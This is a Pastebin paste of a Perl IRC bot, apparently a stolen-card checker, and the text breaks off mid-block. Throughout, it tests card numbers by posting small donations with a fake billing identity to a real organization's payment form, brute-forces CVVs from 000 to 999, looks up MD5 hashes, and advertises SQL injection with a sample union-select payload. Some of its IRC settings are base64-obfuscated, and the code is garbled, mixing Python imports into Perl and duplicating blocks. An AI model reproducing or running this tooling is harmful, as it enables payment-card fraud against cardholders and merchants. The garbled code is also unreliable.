Advertisement
Guest User

Untitled

a guest
May 11th, 2013
12,647
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6 124.05 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #############################################
  3. # Modified by CChungryChk http://lacristor.com/  #
  4. #############################################
  5.  
  6. #Call to standalone modules directory
  7. BEGIN{push(@INC,'Modules');}
  8.  
  9. #################################################
  10. use LWP::Socket;
  11. use HTTP::Request;
  12. use Parallel::ForkManager;
  13. use Socket;
  14. use IO::Socket;
  15. use IO::Socket::INET;
  16. use LWP::Simple;
  17. use Digest::MD5 qw(md5 md5_hex md5_base64);
  18. use Net::Ping;
  19. use Net::hostent;
  20. use MIME::Base64 ();
  21. use WWW::Mechanize;
  22. use WWW::Mechanize::FormFiller;
  23. use HTTP::Request;
  24. use Net::FTP;
  25. use LWP::UserAgent;
  26. use AppConfig;
  27. use File::Basename;
  28. use LWP::Protocol::https;
  29. use HTTP::Cookies; 
  30. use Getopt::Long;
  31. use Crypt::SSLeay;
  32. use SOAP::Lite + trace => qw(debug);
  33. use HTML::Form;
  34. use HTTP::Request::Common;
  35. use Net::SSLeay;
  36. use HTML::TreeBuilder;
  37. use LWP::IO;
  38. use LWP::Protocol::https;
  39. use CGI::Ajax;
  40. use CGI::FormBuilder;
  41. use LWP::DebugFile ('+');
  42. use Pod::Usage;
  43. use SOAP::Lite;
  44. use Math::BigInt;
  45. use DateTime::Format::Strptime;
  46. use Data::Dumper;
  47. use URI::file;
  48. use Mozilla::CA;
  49. use lib 'irclib/';
  50. use File::Slurp;
  51. use Encode;
  52. #use POE;
  53. #use POE::Component::IRC;
  54. use HTML::TagParser;
  55. use IO::Socket::INET;
  56. use DBI;
  57. #Globals
  58. $| = 1;
  59. print "Content-type: text/html\n";
  60. print "Pragma: no-cache\n\n\n";
  61. use Net::SSL;
  62. $ENV{HTTPS_VERSION} = 3;
  63. $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0;
  64. BEGIN {
  65. $ENV{DBI_PUREPERL} = 2; # or =1
  66. unshift @INC, "$ENV{'DOCUMENT_ROOT'}/cgi-bin";
  67. }
  68. import urllib.request;
  69. import ssl;
  70.  
  71. use FindBin;
  72. use lib "$FindBin::Bin/../lib";
  73.  
  74. ## Disable SSL Certificate Verification
  75. $ENV{PERL_LWP_SSL_VERIFY_PEER}=0;
  76. my $date_format = DateTime::Format::Strptime->new(    
  77.     pattern   => '%D',    # for MM/DD/YYYY american dates
  78.     locale    => 'en_US',
  79.     time_zone => 'America/Los_Angeles',);
  80. my $browser = LWP::UserAgent->new();
  81. #my $browser = LWP::UserAgent->new(ssl_opts =>  {   SSL_version => '3', SSL_ca_file => '/www/conf/ssl.crt/ca-bundle.crt'});
  82. my $formfiller = WWW::Mechanize::FormFiller->new();
  83. #################################################
  84. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork,$email,$BotnameGANZ1,);
  85. my(@chans,@admins,@user_agents);
  86. #######################################################
  87.  
  88. $BotnameGANZ1 = int($CChungryChk);
  89. my $ppcmd   = '!pp';
  90. my $ipcmd    = '!ip';
  91. my $chkcmd    = '!chk';
  92. my $base64cmd    = '!base64';
  93. my $bankcmd    = '!bank';
  94. my $sheccmd    = '!shec';
  95. my $statecmd    = '!state';
  96. my $zipcmd    = '!zip';
  97. $email = "code 8 * :lacristor.com";
  98. #################################################
  99. my $outcri = "Mg==";
  100. $systemcri = MIME::Base64::decode($outcri);
  101. $timeout       = $systemcri;
  102. my $hostingcri = "ODcuMjM2LjE5NC42OQ==";
  103. $systemcri = MIME::Base64::decode($hostingcri);
  104. $hostinging        = "irc.underunix.info";
  105. $port          = 6667;
  106. my $nkpro = "GJR_CHK = rand(1001)";
  107. $ident         = "GJRCHK";
  108. $parallel_fork = 15;
  109. my @botcmd = ('2');
  110. @chans = ("#card-chk");
  111. @r00t = ("GUJJAR_FRIENDS","CChungryGirl");
  112. $sistempro = MIME::Base64::decode($cheataer);
  113. @w00t = ($systempro,$sistempro);
  114. @admin = ('GUJJAR_FRIENDS','CChungryGirl');
  115. @user_agents = &get_user_agents();
  116.  
  117. #################################################
  118. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  119. $sysircuno = MIME::Base64::decode($startirc);
  120. $irc_socket = new LWP::Socket;
  121. $irc_socket->connect($hostinging,$port);
  122. $irc_socket->write("USER ".$ident." 8 * : 1just1zm3Rch4nt \r\n");
  123. $irc_socket->write("NICK ".$nkpro."\r\n");
  124. $irc_socket->write("JOIN $chans[0]\r\n");
  125. $irc_socket->write("JOIN $chans[1]\r\n");
  126. $irc_socket->write("JOIN $chans[2]\r\n");
  127. $irc_socket->write("JOIN $chans[3]\r\n");
  128. $irc_socket->write("JOIN $chans[4]\r\n");
  129. $irc_socket->write("JOIN $chans[5]\r\n");
  130.  
  131.  
  132. #---------------------
  133. # Prepare DBI handler                  
  134. #---------------------
  135.  
  136. #my $dbh = DBI->connect("dbi:mysql:" . "dbname=" .
  137.  #       $config{mysql_db} . ";host=irc.underunix.info" . $config{mysql_host},
  138.   #      $config{mysql_user}, $config{mysql_pass})
  139.    #     or die "Couldn't connect to MySQL-database: " . DBI->errstr;
  140.  
  141. #sub get_dbh {
  142. #        if(!(defined($dbh) && $dbh->ping)) {
  143.  #               unless ($dbh = DBI->connect("dbi:mysql:" . "dbname=" .
  144.   #                      $config{mysql_db} . ";host=" . $config{mysql_host},
  145.    #                     $config{mysql_user}, $config{mysql_pass})) {
  146.     #                            $dbh = undef;
  147.      #                           die "Couldn't connect to MySQL-database: " . DBI->errstr;
  148.       #          }
  149.        # }
  150.         #return $dbh;
  151. #}
  152.  
  153. #----------------------------------------------------------------------------
  154. # Validate Arguments
  155. #----------------------------------------------------------------------------
  156. # Define varaibles
  157. my ($sHost, $sPort, $sUID, $sPWD, $sMode, $action, $filename );
  158.  
  159. # Pickup Run-Time Options
  160. GetOptions (
  161.     "sHost=s" => \$sHost,
  162.     "sPort=i" => \$sPort,
  163.     "sUID=s" => \$sUID,
  164.     "sPWD=s" => \$sPWD,
  165.     "sMode:s" => \$sMode,
  166.     "action:s" => \$action,
  167.     "filename:s" => \$filename
  168.     );
  169.  
  170. # Assume always HTTPS
  171. my $sProtocol = "https";
  172.  
  173. if ( ("80" eq $sPort) or ("8080" eq $sPort) )
  174. {
  175.   $sProtocol = "http";
  176. }
  177.  
  178. while($irc_socket)
  179. {
  180.     my $bof;
  181.     $irc_socket->read_until("\n", \$bof);
  182.     if($bof =~ /PING :(.*)/)
  183.     {
  184.         $irc_socket->write("PONG :$1\r\n");
  185.     }
  186.  
  187.     if($bof =~ /PRIVMSG (.*?) :(.*)/)
  188.     {
  189.         #PRIVMSG
  190.         my %msg = &get_msg($bof);
  191. ###########################################BOT COMMANDS START FROM HERE##########################
  192. #                                                                #&respond_to_privmsg(\%msg,"07,01!base6403,1....7,1: 4,1<8,1text4,1> 15Decrypt & encryptascii-base64 base64-ascii");
  193.  
  194. require LWP::UserAgent;
  195.  
  196. my $ua = LWP::UserAgent->new;
  197. $ua->timeout(20);
  198. $ua->env_proxy;
  199.  
  200. my $response = $ua->get('http://search.cpan.org/');
  201.  
  202. if ($response->is_success) {
  203.    # print $response->decoded_content;  # or whatever
  204. }
  205. else {
  206.     die $response->status_line;
  207. }
  208.  
  209. $ua->agent('Checkbot/0.4 ' . $ua->_agent);
  210. $ua->agent('Checkbot/0.4 ');    # same as above
  211. $ua->agent('Mozilla/5.0');
  212. $ua->agent("");                 # don't identify
  213. $ua->from('[email protected]');
  214.  
  215. $ua->cookie_jar({ file => "$ENV{HOME}/.cookies.txt" });
  216.  
  217.  
  218. if($msg{'what'} =~ /\!cmd/){
  219.                 &respond_to_privmsg(\%msg,"8,1<<= 12[0 Cmd CoMmandS for CChungryChk just a checker$$$12] 8,1=>>");
  220.                 &respond_to_privmsg(\%msg,"8,1<<= 12,1[9 Checking Credit Card12 ] 15!chk for 12Visa  04Master07Card  08DISCOVER , DINERS, JCB & AMEX, !sec for msc and vbv, !chkpp for paypal15  8,1=>>");
  221.                
  222.                
  223. }
  224.    if($msg{'what'} =~ /\!join_all/){
  225.                  {
  226.  
  227.                         if(&ctrl_admin(\%msg) == 0){
  228.                                 &respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
  229.                                 &join_all();
  230.                         }
  231.                 }
  232.                 }
  233.  
  234.                 if($msg{'what'} =~ /\!canghecmd (.*)/){
  235.                 my $comma = $1;
  236.  
  237.                         if(&ctrl_admin(\%msg) == 0){
  238.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
  239.                                 &canghecmd($comma);
  240.                         }
  241.                 }
  242.  
  243.                 if($msg{'what'} =~ /\!commands/){
  244.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]08 - Credits - Powered by CChungryChk - ");
  245.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]08 - Bot Admins : CChungryChk & byp4utH - Programers TeaM - ");
  246.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]07 !chk FOR 12Visa 04Master07Card 08DISCOVER ");
  247.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]04 !amex for 9AmericanExpress ");
  248.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !chkpp <emailpaypal> FOR Check Verified or NotVerifed PP Account ");
  249.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !ip <ip> Location Ip and fullinfo");
  250.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !decript <md5hash> Decript MD5 Hash");
  251.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !zip <zipcode> See Info of zip code");
  252.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !vbv <visanumber> See if Visa Card have VBV Actived");
  253.                                                 }
  254.  
  255.                 if($msg{'what'} =~ /\!help2/){
  256.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !seecmd (look !sql<number>) ");
  257.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !join_all (Join all standart channel) [ADMINS ONLY] ");
  258. sleep(1);
  259.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !chkcvv CARDNUMBER EXPDATA(MMYY) START-CVV(000) FINISH-CVV(999) INTERVAL-SECONDS (SCANNiNG CVV to 000[or setted by you] to your finish number) ");
  260.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 Exemple !chkcvv 4023600101234567 0112 000 999 15 ");
  261.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !raw (bot do irc command) [ADMINS ONLY] ");
  262. sleep(2);
  263.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !canghecmd <n> (CANGHE command string for scanning sql ex. !sql1 to !sql2) [ADMINS ONLY] ");
  264. sleep(1);
  265.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 !sql${botcmd} bug dork injection [ADMINS ONLY] ");
  266.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 exemple !sql${botcmd} / site.php?id= +union+all+select+1,2,3,4,5,6,version(),8-- ");
  267.                                             }
  268.  
  269. if($msg{'what'} =~ /\!chk 1 1 1/){    
  270.  
  271.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Checker Status:09 ON");
  272.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Type !cmd to get command list");
  273.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Type ?rules to get rules aboutt");
  274.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Type ?cardcheck to get info about");
  275.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Type ?cardchkamount to get info about");
  276.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 Type ?voice to get voice info");
  277.                 &respond_to_privmsg(\%msg,"12,1[9Information12]0 plese contact 09CChungryChk 0for chk private");
  278.                            
  279. }
  280.  
  281. if($msg{'what'} =~ /\?rules\s+(.*)/)
  282.         {
  283.               my ($nick) = ($1);
  284. chop($nick);
  285.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 Rules: 14$nick");
  286.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 1.14 You can check only if you get VOICE, if you don't follow this you will be kick and ban. Type ?voice for more info.");
  287.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 2.14 Don't make advertising to other channel\network, you will get instant ban.");
  288.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 3.14 Don't check if the bot are working with other people.");
  289.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 4.14 Don't send msg to OPs if you don't have authorization.");
  290.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 5.14 Dont ask in chan|msg for a things,( CreditCards, PayPal ), you will be ignore. ");
  291.         }
  292.  
  293.         if($msg{'what'} =~ /\?cardcheck\s+(.*)/)
  294.         {
  295.               my ($nick) = ($1);
  296. chop($nick);
  297.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 Syntax: 14$nick");
  298.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 If visa|mastercard: !chk ccnum ccexp ccv2");
  299.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 !chk 4000000500000008 1010 1111");
  300.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 If americanexpress: !amex ccnum ccexp ccv2");
  301.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 !chk 333333333333333 1010 11111");
  302.         }
  303.  
  304.         if($msg{'what'} =~ /\?cardchkamount\s+(.*)/)
  305.         {
  306.               my ($nick) = ($1);
  307. chop($nick);
  308.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 Syntax: 14$nick");
  309.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 If visa|mastercard: !chk ccnum ccexp ccv2 amount");
  310.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 !chk 4000000500000008 1010 1111 10.00");
  311.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 If americanexpress: !amexamunt ccnum ccexp ccv2 amount");
  312.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 14 !chk 333333333333333 1010 11111 10.00");
  313.             }
  314.         if($msg{'what'} =~ /\?check\s+(.*)/)
  315.         {
  316.               my ($nick) = ($1);
  317. chop($nick);
  318.                 &respond_to_privmsg(\%msg,"15[14Notice15]13  $nick : 14Only voice members can check things, so ask for voice ( type ?voice ) ");
  319.             }
  320.  
  321.         if($msg{'what'} =~ /\?voice\s+(.*)/)
  322.         {
  323.               my ($nick) = ($1);
  324. chop($nick);
  325.                 &respond_to_privmsg(\%msg,"15[14Notice15]13 $nick: 14For get it, send msg to CChungryChk ( /msg CChungryChk ) asking voice, he will put you + in few minutes, if CChungryChk is off, asking to other OPs.");
  326.         }
  327.  
  328.  
  329.                 if($msg{'what'} =~ /\!seecmd/){
  330.                                 &respond_to_privmsg(\%msg,"9,1[0,1SERViCES9,1]12 iS !sql @botcmd ");
  331.                                                 }
  332.  
  333.                  if($msg{'what'} =~ /\!checkcvv (.*?) (.*?) (.*?) (.*)/)
  334.                  {
  335.                 #!chkcvv CARDNUMBER EXPDATA START-CVV FINISH-999 INTERVAL
  336.                 #!chkcvv 4023600101234567 0112 000 999 15
  337.                 my $cardnumber=$1;
  338.                 my $expdata=$2;
  339.                 my $startcvv=$3;
  340.                 my $finishcvv=$4;
  341.                 my $dorme=$5;
  342.                 my $ciclo=0;
  343.                         cicletto();
  344.  
  345.                                 sub cicletto{
  346.  
  347.                                 for (my $primo=$startcvv; $primo<=$finishcvv; $primo++){
  348.  
  349.                                         if ($primo<10){
  350.                                         &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata 00$primo");
  351.                                 sleep($dorme);
  352.                                         }
  353.  
  354.                                         elsif ($primo<100){
  355.                                         &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata 0$primo");
  356.                                 sleep($dorme);
  357.                                         }else{
  358.                                         &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata $primo");
  359.                                 sleep($dorme);
  360.                                         }
  361.                                 }
  362.                                 }
  363. }
  364.         if($msg{'what'} =~ /\!decript (.*)/)
  365.         {
  366.         my ($md5hash) = ($1);
  367. chop($md5hash);
  368.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] CHECKiNG... -$md5hash- ");
  369. #print "inizio mechanize\n";
  370. my $agent = WWW::Mechanize->new( autocheck => 1 );
  371. my $formfiller = WWW::Mechanize::FormFiller->new();
  372. $agent->env_proxy();
  373.  $agent->get('http://md5search.000space.com/v2.5/md5decrypter.php');
  374.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  375.   $agent->form_number(1);
  376.   { local $^W; $agent->current_form->value('hash', ''.$md5hash.''); };
  377.   $agent->submit();
  378.   #print $agent->content,"\n";
  379. my $resp=$agent->content;
  380. if ($resp =~/gdataonline.com(.*)/){
  381.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  382. }
  383. if ($resp =~/alimamed.pp.ru(.*)/){
  384.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  385. }
  386. if ($resp =~/opencrack.hashkiller.com(.*)/){
  387.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  388. }
  389. if ($resp =~/milw0rm.com(.*)/){
  390.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  391. }
  392. if ($resp =~/passcracking.com(.*)/){
  393.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  394. }
  395. if ($resp =~/www.hashchecker.com(.*)/){
  396.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  397. }
  398. if ($resp =~/md5.rednoize.com(.*)/){
  399.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  400. }
  401. if ($resp =~/www.tydal.nu(.*)/){
  402.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  403. }
  404. if ($resp =~/md5.hashcracking.com(.*)/){
  405.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  406. }
  407. if ($resp =~/www.bigtrapeze.com(.*)/){
  408.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  409. }
  410. if ($resp =~/blacklight.gotdns.org(.*)/){
  411.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  412. }
  413. if ($resp =~/ice.breaker.free.fr(.*)/){
  414.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  415. }
  416. if ($resp =~/www.md5decrypter.co.uk(.*)/){
  417.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  418. }
  419. if ($resp =~/md5.ip-domain.com.cn(.*)/){
  420.         &respond_to_privmsg(\%msg,"15[7DECRiPTMD515] Hash => $1 ");
  421. }
  422. }
  423.     if($msg{'what'} =~ /\!upload (.*)/)
  424.         {
  425.         my ($uploadfile) = ($1);
  426. chop($uploadfile);
  427.         &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] Uploading file for ReaL... -$uploadfile- ");
  428. my $agent = WWW::Mechanize->new( autocheck => 1 );
  429. my $formfiller = WWW::Mechanize::FormFiller->new();
  430. $agent->env_proxy();
  431.  
  432.   $agent->get('http://www.sendspace.com/');
  433.    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  434.   $agent->form_number(1);
  435.   { local $^W; $agent->current_form->value('file_0', 'D:\\Scanner-RFi-2\\'.$uploadfile.''); };
  436.   { local $^W; $agent->current_form->value('terms', '1'); };
  437.   $agent->submit();
  438.   #print $agent->content,"\n";
  439. my $uploading=$agent->content;
  440. if ($uploading =~/value=\"http:\/\/www.sendspace.com\/file\/(.*?)\" size/){
  441.     &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] File Uploaded http://www.sendspace.com/file/$1 ");
  442. }
  443. if ($uploading =~/value=\"http:\/\/www.sendspace.com\/delete\/(.*?)\" size/){
  444.     &respond_to_privmsg(\%msg,"15[7UPLOADiNG15] Link For Delete http://www.sendspace.com/delete/$1 ");
  445. }
  446. }
  447.  
  448. $ENV{HTTPS_PKCS12_FILE}     = 'certs/pkcs12.pkcs12';
  449. $ENV{HTTPS_PKCS12_PASSWORD} = 'PKCS12_PASSWORD';
  450. if($msg{'what'} =~ /\!help2/){
  451.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !seecmd (look !sql<number>) ");
  452.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !join_all (Join all standart channel) [ADMINS ONLY] ");
  453. sleep(1);
  454.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !chkcvv CARDNUMBER EXPDATA(MMYY) START-CVV(000) FINISH-CVV(999) INTERVAL-SECONDS (SCANNiNG CVV to 000[or setted by you] to your finish number) ");
  455.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 Exemple !chkcvv 4023600101234567 0112 000 999 15 ");
  456.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !raw (bot do irc command) [ADMINS ONLY] ");
  457. sleep(2);
  458.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !canghecmd <n> (CANGHE command string for scanning sql ex. !sql1 to !sql2) [ADMINS ONLY] ");
  459. sleep(1);
  460.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 !sql${botcmd} bug dork injection [ADMINS ONLY] ");
  461.                 &respond_to_privmsg(\%msg,"15[7SERViCES15]12 exemple !sql${botcmd} / site.php?id= +union+all+select+1,2,3,4,5,6,version(),8-- ");
  462. }
  463.         if($msg{'what'} =~ /\!seecmd/){
  464.         &respond_to_privmsg(\%msg,"15[7SERViCES15]12 iS !sql @botcmd ");
  465. }
  466.         if($msg{'what'} =~ /\!checkcvv (.*?) (.*?) (.*?) (.*)/){
  467.         #!chkcvv CARDNUMBER EXPDATA START-CVV FINISH-999 INTERVAL
  468.         #!chkcvv 4023600101234567 0112 000 999 15
  469.  
  470.         my $cardnumber=$1;
  471.         my $expdata=$2;
  472.         my $startcvv=$3;
  473.         my $finishcvv=$4;
  474.         my $dorme=$5;
  475.         my $ciclo=0;
  476.             cicletto();
  477.                 sub cicletto{
  478.                 for (my $CChungryChk=$startcvv; $CChungryChk<=$finishcvv; $CChungryChk++){
  479.                     if ($CChungryChk<10){
  480.                     &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata 00$CChungryChk");
  481.                 sleep($dorme);
  482.                     }
  483.                     elsif ($CChungryChk<100){
  484.                     &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata 0$CChungryChk");
  485.                 sleep($dorme);
  486.                 }else{
  487.                 &respond_to_privmsg(\%msg,"!chk $cardnumber $expdata $CChungryChk");
  488.             sleep($dorme);
  489.                 }
  490.                 }
  491.                 }
  492. }
  493. #############################@@@@======something=====@@@@###############################
  494. if($msg{'what'} =~ /^!help/){    
  495.                                &respond_to_privmsg(\%msg,"07,01Type 09!cmd07 to get command list");
  496.                              
  497. }
  498. ############################################################################################
  499. if($msg{'what'} =~ /\!chk 1/){    
  500.                                &respond_to_privmsg(\%msg,"MEMION?");
  501.                              
  502. }
  503.  
  504.  
  505. if($msg{'what'} =~ /\!chk\s(\d{15,16})\s(\d{4})\s(\d{3,4})/)
  506.                {
  507. $ENV{HTTPS_CA_FILE} = "/usr/share/ca-certificates/cacert.org/cacert.org.crt";
  508.  
  509. my $ua  = LWP::UserAgent->new;
  510. my $req = HTTP::Request->new(GET => 'https://api.betfair.com');
  511. my $res = $ua->request($req);
  512. #print $res->headers_as_string;
  513. #print $res->content;
  514. my $date_format = DateTime::Format::Strptime->new(    
  515.    pattern   => '%D',    # for MM/DD/YYYY american dates
  516.    locale    => 'en_US',
  517.    time_zone => 'America/Los_Angeles',
  518. );
  519.                my ($numerocarta,$expmes,$verifica,) = ($1,$2,$3,);
  520.                my $var1 = substr($expmes,0,2);
  521.                my $var2 = substr($expmes,2,4);
  522.         my $cctype = 0;
  523.     #print "inizio mechanize sacha\n";
  524. if (substr($numerocarta,0,1)==4) {
  525. $cctype = "Visa";
  526. &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card  9,1is 12,1[15Visa12]");
  527. }
  528. if (substr($numerocarta,0,1)==5) {
  529. $cctype = "MasterCard";
  530. &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card  9,1is 12,1[4Master 7Card12]");
  531. }
  532. if (substr($numerocarta,0,1)==6) {
  533. $cctype = "Discover";
  534.        &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card  9,1is 12,1[15Disc7o15ver12]");
  535. }
  536. if (substr($numerocarta,0,1)==3) {
  537. $cctype = "American Express";
  538.        &respond_to_privmsg(\%msg,"12,1[9Information12]7,1 credit card  9,1is  12,1[14A2m14e2x12]");
  539. }
  540. &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12Number: 0 $numerocarta");
  541. &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Expiration:0 $var1/20$var2 ");
  542. &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Cvv:0 $verifica");
  543. &respond_to_privmsg(\%msg,"12,1[9Checking...12] 12,1Amount:0 1USD");
  544. my $formfiller = CGI::FormBuilder::Field->new($form, name => 'FoundationDonation.asp');
  545. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
  546. my $formfiller = WWW::Mechanize::FormFiller->new();
  547. my $agent = WWW::Mechanize->new( autocheck => 1 );
  548. my $formfiller = WWW::Mechanize::FormFiller->new();
  549. $agent->env_proxy();
  550. $agent->get('https://www.alphadeltapi.org/members/FoundationDonation.asp');
  551.  $agent->get('https://payments.alphadeltapi.org/index.php');
  552. $agent->post('https://www.alphadeltapi.org/members/FoundationDonation.asp');
  553.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  554.  $agent->form_number(1);
  555.   $agent->post('https://payments.alphadeltapi.org/index.php');
  556.  { local $^W; $agent->current_form->value('payment_type', 'other_invoices'); };
  557.  { local $^W; $agent->current_form->value('step2', 'step2'); };
  558.    { local $^W; $agent->current_form->value('onSubmit', '"return scValidator(this);"'); };
  559.  $agent->submit("Click Here to Continue >");
  560. { local $^W; $agent->current_form->value('payment_method', 'CC'); };
  561. { local $^W; $agent->current_form->value('Chapter', 'Alpha'); };
  562. { local $^W; $agent->current_form->value('billing_firstname', 'Samuel'); };
  563. { local $^W; $agent->current_form->value('billing_lastname', 'Angel'); };
  564. { local $^W; $agent->current_form->value('cardNum', ''.$numerocarta.''); };
  565. { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); };
  566. { local $^W; $agent->current_form->value('month', ''.$var1.''); };
  567. { local $^W; $agent->current_form->value('year', ''.$var2.''); };
  568. { local $^W; $agent->current_form->value('cardType', ''.$cctype.''); };
  569. { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
  570. { local $^W; $agent->current_form->value('NAME', 'Samuel Angel'); };
  571. { local $^W; $agent->current_form->value('billing_address1', '2010 Magnolia Drive'); };
  572. { local $^W; $agent->current_form->value('billing_city', 'Cleveland'); };
  573. { local $^W; $agent->current_form->value('billing_state', 'Ohio'); };
  574. { local $^W; $agent->current_form->value('billing_zip', '44106'); };
  575. { local $^W; $agent->current_form->value('Country', 'US'); };
  576. { local $^W; $agent->current_form->value('phone', '8327258164'); };
  577. { local $^W; $agent->current_form->value('email', '[email protected]'); };
  578. { local $^W; $agent->current_form->value('amount', '5'); };
  579. { local $^W; $agent->current_form->value('ChapterGiftHonorMem', 'Alpha'); };
  580. $agent->submit();
  581. $agent->success or die $ccapprove;
  582. print $agent->content,"\n";
  583. my $allo=$agent->content;
  584. $agent->save_content("make-a-payment.asp");
  585. print "<FORM action=\"message.pl\" method=\"post\" name=\"form1\" onsubmit=\"return(CheckForm_onclick())\">\n";
  586. #$if -> $allo($agent->content => 'make-a-payment.asp');   FormBuilder allo();
  587. validate => '/regex/';
  588. for my $allo ($agent->content) {
  589.         # $allo holds an object stringified to a field name
  590.         if ($allo =~ /Thank You! Your payment has been successfully processed./) {
  591. #            $allo->sticky(0);  # clear CGI value
  592.     &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  593.         } else {
  594.             &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 4Declined!");
  595.         }
  596.     }
  597. print $agent->content,"\n";
  598. print $js_array;
  599. my $allo=$agent->content;
  600. if ($allo =~/The address provided does not match billing address of cardholder./){
  601. if ($allo =~/action=done/){
  602.                                                 my $database = "banklist.txt";
  603.                                                 open FILE,"$database" or die "Errore nell'apertura: $!";
  604.                                                 my @results=<FILE>;
  605.                                                 close FILE;
  606.                                                 my $bankinfo = $1;
  607.                                             &respond_to_privmsg(\%msg,"12,1[9ResuLT.....12]0 $numerocarta 07$expmes$expanio08 $verifica 9valid!");
  608. &respond_to_privmsg(\%msg,"7,1[0Credit Card 13N?0: 15 $numerocarta 9 $expmes$expanio 14 $verifica 7 $amountUSD7]");
  609.  &respond_to_privmsg(\%msg,"7,1[9APPROVED!!!!!7Transaction. 8Amount USD: $amount 7");
  610. &respond_to_privmsg(\%msg,"0,1Thank you for your payment!");
